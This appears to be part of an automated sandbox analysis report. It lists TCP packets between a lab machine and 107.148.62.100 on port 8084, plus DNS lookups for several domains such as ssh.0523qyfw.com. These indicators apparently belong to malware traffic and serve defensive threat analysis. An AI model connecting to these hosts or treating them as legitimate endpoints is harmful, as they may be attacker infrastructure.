Dec 18, 2024 13:21:45.500669003 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.504267931 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.504333019 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.504431963 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.509484053 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.509568930 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.509777069 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.509933949 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.529160976 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.529201031 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.529232025 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.566955090 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.566975117 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.567059040 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.582962036 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.583054066 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.583098888 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.583460093 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.587970972 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.588005066 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.588006973 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.596143007 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.596178055 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.596198082 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.622150898 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.622217894 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.622219086 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.622504950 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.622562885 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.630227089 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.630264044 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.630469084 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.630500078 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.677903891 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.679105043 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.679199934 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.679589987 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.679644108 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.699522972 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.699543953 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.699628115 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.718560934 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.718657970 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.718717098 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.718990088 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.719039917 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.723270893 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.723392010 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.723459959 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.723680973 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.777251005 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.777321100 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.777380943 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.777769089 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.777831078 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.797285080 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.797368050 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.797434092 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.797760963 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.807550907 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.807607889 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.807693958 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.807965040 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.808008909 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.833218098 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.833323956 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.833683968 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.833772898 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.840538025 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.840601921 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.840625048 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.841051102 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.841105938 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.889700890 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.889812946 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.889915943 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.890239000 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.932671070 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.932718992 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.932862997 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.933048010 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.933120012 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.934820890 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.934886932 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.934968948 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.941148996 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.941243887 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.941540956 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.941572905 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.989772081 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.989839077 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.990046978 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.990168095 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.990251064 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.992743015 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.992861032 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:45.992981911 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:45.993231058 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.010198116 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.010241985 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.010379076 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.010440111 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.010541916 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.017390013 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.017462969 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.017607927 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.017779112 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.044778109 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.044856071 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.044882059 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.045162916 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.045285940 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.052495956 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.052526951 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.052597046 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.052891016 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.101080894 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.101109028 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.101151943 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.101325035 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.101387024 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.142977953 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.142998934 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.143124104 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.143196106 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.150650024 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.150738955 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.150830030 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.151065111 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.151120901 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.201862097 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.201910019 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.202018976 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.202435017 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.206573009 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.206613064 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.206656933 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.206944942 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.206979036 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.213778019 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.213890076 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.213943005 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.214200974 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.223556042 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.223573923 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.223689079 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.223989010 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.224030018 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.230330944 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.230361938 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.230568886 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.230624914 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.230637074 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.230673075 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.254841089 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.254884005 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.254987955 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.255191088 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.262135983 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.262152910 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.262212992 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.262506962 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.266110897 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.314834118 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.314924002 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.315113068 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.315232038 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.354891062 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.355020046 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.355159998 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.355369091 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.355417967 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.362386942 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.362555027 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.362623930 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.363017082 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.413289070 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.413306952 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.413378000 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.413760900 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.413811922 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.422236919 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.422252893 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.422266006 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.422306061 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.424855947 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.424871922 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.424909115 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.425508976 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.425689936 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.436628103 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.436714888 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.437041044 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.437091112 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.439498901 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.439513922 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.439552069 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.446342945 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.446374893 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.446415901 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.446722984 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.446755886 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.467226028 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.467241049 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.467252016 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.467287064 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.474139929 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.474263906 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.474283934 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.474548101 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.474590063 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.526530981 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.526705980 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.526757956 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.526899099 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.564471006 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.564563990 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.564691067 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.564811945 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.564851999 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.571460009 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.571518898 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.571576118 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.571923018 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.624634981 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.624694109 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.624810934 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.625011921 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.625077963 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.632694960 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.632793903 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.632880926 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.633040905 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.635049105 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.635087967 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.635138035 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.635458946 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.635498047 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.647373915 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.647407055 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.647496939 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.647768974 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.655801058 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.655925989 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.656002998 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.656081915 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.656116962 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.678443909 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.678546906 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.678750992 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.678774118 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.686983109 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.687045097 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.687129021 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.687403917 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.687441111 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.738662004 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.738728046 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.738810062 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.996917009 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.996937990 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.997036934 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.997358084 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.997432947 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.998285055 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.998328924 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.998439074 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.998774052 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:46.999372005 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:46.999458075 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.000118971 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:47.000304937 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.000466108 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.000508070 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:47.001337051 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.001461029 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.001508951 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:47.002301931 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.002468109 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.003348112 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.003407955 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:47.003523111 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.003561974 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:47.004347086 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.004414082 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.005311966 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.005358934 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:47.005434990 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.005470991 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:47.006342888 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.006452084 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.006494045 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:47.007390022 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.007404089 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.007442951 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:47.008307934 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.008426905 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.008476973 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:47.009350061 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.009402990 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.009453058 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:47.050041914 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.050074100 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.050113916 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:47.056073904 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.056117058 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.056153059 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:47.062267065 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.062350035 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.062391043 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:47.062658072 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.081283092 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.081300974 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.081317902 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:47.081573963 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.081614017 CET	49833	8084	192.168.2.10	107.148.62.100
Dec 18, 2024 13:21:47.097400904 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.097563982 CET	8084	49833	107.148.62.100	192.168.2.10
Dec 18, 2024 13:21:47.097604036 CET	49833	8084	192.168.2.10	107.148.62.100

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 13:20:55.311419964 CET	192.168.2.10	1.1.1.1	0x4278	Standard query (0)	scrt1.nyazz.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:21:35.834530115 CET	192.168.2.10	1.1.1.1	0xe56a	Standard query (0)	ssh.0523qyfw.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 13:21:36.920490980 CET	192.168.2.10	1.1.1.1	0xce32	Standard query (0)	www.61xdm.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 13:20:49.942059994 CET	1.1.1.1	192.168.2.10	0xb9aa	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 13:20:49.942059994 CET	1.1.1.1	192.168.2.10	0xb9aa	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
